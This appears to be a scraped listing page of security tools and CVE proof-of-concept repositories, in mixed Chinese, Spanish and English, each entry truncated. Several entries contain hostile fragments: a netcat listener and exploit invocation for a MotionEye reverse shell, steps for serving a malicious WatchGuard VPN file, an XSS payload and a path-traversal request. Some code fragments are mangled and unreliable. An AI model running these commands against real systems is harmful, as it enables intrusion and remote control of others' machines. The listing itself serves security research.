PrettyTrusts

PrettyTrusts 试试看：http://peewpw.github.io/PrettyTrusts 可视化 PowerView 的 Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv 输出结果。将 CSV 文件交给它，就能得到一个漂亮的交互式图表！ 应该 兼容旧版和新版 PowerView 的输出。 所有处理都在客户端完成，不会从本仓库以外的任何地方加载资源。你只需克隆/下载仓库，然后在浏览器中打开 index.html 即可开始使用！或者直接访问...

CVE-2020-28488

CVE-2020-28488 拒绝服务 DoS - jQuery UI 1.12.1 - 漏洞利用 Payload root@kitploit: for var i = 0; i DoS - jQuery UI 1.12.1 DoS - jQuery UI 1.12.1 Exploit PoC by Rafael Cintra Lopes function exploit for var i = 0; i...

jspanda

JSPanda JSpanda 是一个客户端原型污染漏洞扫描器。它有两个关键特性：扫描所提供的URL的漏洞，以及分析JavaScript库的源代码。然而，JSpanda 无法检测高级的原型污染漏洞。 JSPanda 如何工作？ 使用多种 payload 来检测原型污染漏洞。 收集目标中的所有链接进行扫描，并将 payload 添加到 JSpanda 获取的 URL 中，使用无头 Chromedriver 导航到每个 URL。 扫描潜在易受攻击的 JavaScript 库源代码中的所有单词，并通过查找脚本 gadget 创建一个简单的 JS PoC，帮助您手动分析代码。 要求 下载最新版本...

CVE-2021-24891-Simulation

Un entorno de laboratorio práctico y contenerizado para simular y explotar una vulnerabilidad de Cross-Site Scripting XSS basado en DOM en el plugin Elementor Website Builder para WordPress, identificada como CVE-2021-24891. 📖 Acerca de la vulnerabilidad Este laboratorio demuestra una...

plution

plution Prototype pollution scanner using headless chrome What this is Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases...

cve-2022-25640-exploit

使用 scapy 利用 CVE-2022-25640 参见 CVE-2022-25640.ipynb。 CVE-2022-25640 是 wolfSSL 5.2 之前版本中的一个漏洞。它允许客户端绕过 TLS 1.3 连接中的双向认证。...

CVE-2024-52510

POC de Bypass de X-E2EE-SIGNATURE en Nextcloud Resumen Durante el funcionamiento normal del protocolo E2EEv2 de Nextcloud, los clientes firman criptográficamente los metadatos de la carpeta antes de subirlos al servidor. Esto garantiza que los metadatos no hayan sido manipulados cuando se vuelven...

CVE-2025-1910-WatchGuard-Privilege-Escalation

WatchGuard Mobile VPN with SSL 客户端权限提升 CVE-2025-1910 WatchGuard Mobile VPN with SSL 版本 MD5SUM 打包为 .wgssl 文件 tar -czf ../clientexploit.wgssl client.ovpn MD5SUM run.bat cd .. 5. 通过 flask 提供恶意的 client.wgssl 文件： root@kitploit: 启动 flask HTTPS 服务器 sudo python3 srv.py （可选）可以通过 openssl 创建新的证书和密钥对：...

webvm

WebVM 本仓库托管 https://webvm.io 的源代码，这是一个在浏览器中运行的 Linux 虚拟机。 体验新的 Alpine / Xorg / i3 图形环境：https://webvm.io/alpine.html WebVM 是一个无服务器的虚拟环境，完全在客户端通过 HTML5/WebAssembly 运行。它旨在兼容 Linux ABI，运行未经修改的 Debian 发行版，包含许多原生开发工具链。 WebVM 由 CheerpX 虚拟化引擎驱动，可在任何浏览器中安全、沙箱化地执行 x86 二进制文件。CheerpX 包含一个 x86 到 WebAssembly 的...

Limbas-4.3.36.1319-is-vulnerable-to-Cross-Site-Scripting-XSS-

Limbas-4.3.36.1319 存在跨站脚本（XSS）漏洞 描述 Limbas 4.3.36.1319 存在跨站脚本（XSS）漏洞 LIMBAS http://www.limbas.org/ - 4.3.36.1319 概念验证 UPDATE/up20.php 页面反射包含 XSS 代码 示例 Payload 1'"&% XSS 详情 跨站脚本（XSS）是一种客户端代码注入攻击，攻击者可以在合法网站或 Web 应用中执行恶意脚本。XSS 发生在 Web 应用在输出中使用了未经验证或未编码的用户输入时。...

ServiceNow - Cross-site Scripting

A XSS vulnerability was identified in the ServiceNow UI page assessmentredirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks,...

jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication

A flaw was found in pgjdbc, an open-source PostgreSQL JDBC Driver. A malicious server can exploit this vulnerability by instructing the driver to perform SCRAM-SHA-256 Salted Challenge Response Authentication Mechanism Secure Hash Algorithm 256 authentication with an excessively large iteration...

Important: Red Hat Security Advisory: postgresql-jdbc security update

An update for postgresql-jdbc is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Important. A Common...

PoC-CVE-2024-24035

CVE-2024-24035 标题：SIL 3.1 在“hmessage”参数中存在跨站脚本（XSS）漏洞。 日期：2024-01-14 作者：Elizeu Das Dores 厂商主页：https://www.setorinformatica.com/ 版本：3.1 POC CVE-2024-24035 “hmessage”参数存在基于 DOM 的跨站脚本（XSS）漏洞。...

CVE-2025-45620

Detalles del problema La cámara modelo PTC310UV2 ejecuta la versión de firmware 0.1.0000.59. La vulnerabilidad se encuentra en la interfaz web que se utiliza para acceder a la cámara. La vulnerabilidad se descubrió durante una prueba de penetración, por lo que cierta información en las capturas d...

CVE-2021-28378

CVE-2021-28378 Detalles sobre este CVE aquí. Este CVE se debe a la ausencia de escape de cadenas en el lado del cliente para el contenido obtenido desde el servidor. Permite a un atacante inyectar código arbitrario fácilmente, creando un comentario en un issue o un pull request. Esto fue...

CVE-2021-41579-LCDS-LAquis-SCADA-4.3.1.1085-Arbitrary-File-Write

LAquis SCADA 任意文件写入 👨‍💻 作者 Mohammed Idrees Banyamer 🐦 Instagram: @banyamersecurity CVE-2021-41579的概念验证利用程序 - 通过恶意 .els 项目文件在 LCDS LAquis SCADA ≤ 4.3.1.1085 中实现任意文件写入。 🚨 漏洞描述 CVE-2021-41579 是 LCDS LAquis SCADA 版本 ≤ 4.3.1.1085 中的一个客户端漏洞。 攻击者可以构造一个包含路径遍历序列（......\）的恶意 .els 项目文件。当受害者打开该文件并点击 "Play"...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticado en MotionEye = 0.43.1b4 mediante la omisión de la validación del lado del cliente en el campo imagefilename. Uso root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Banderas...

CVE-2022-29361_Werkzeug_Client-Side-Desync-to-XSS

致谢 @kevin-mizu https://github.com/kevin-mizu/Werkzeug-CVE-2022-29361-PoC/tree/main 详情请阅读： https://mizu.re/post/abusing-client-side-desync-on-werkzeug 已在基于 Debian trixie/sid 构建、运行于 Debian kali-rolling 的 Chromium 119.0.6045.123 上测试。...

CVE-2019-17662

CVE-2019-17662 修改了CVE代码 使用了 Prepared Requests，因为 python3 requests 模块会规范化URL中的 ../，例如： 代码如下： root@kitploit: r = requests.get"http://123.123.123.123/../../../../../../test" printstrr.statuscode 结果如下： root@kitploit: GET /test HTTP/1.1 Host: 123.123.123.123 Connection: close Accept-Encoding: gzip,...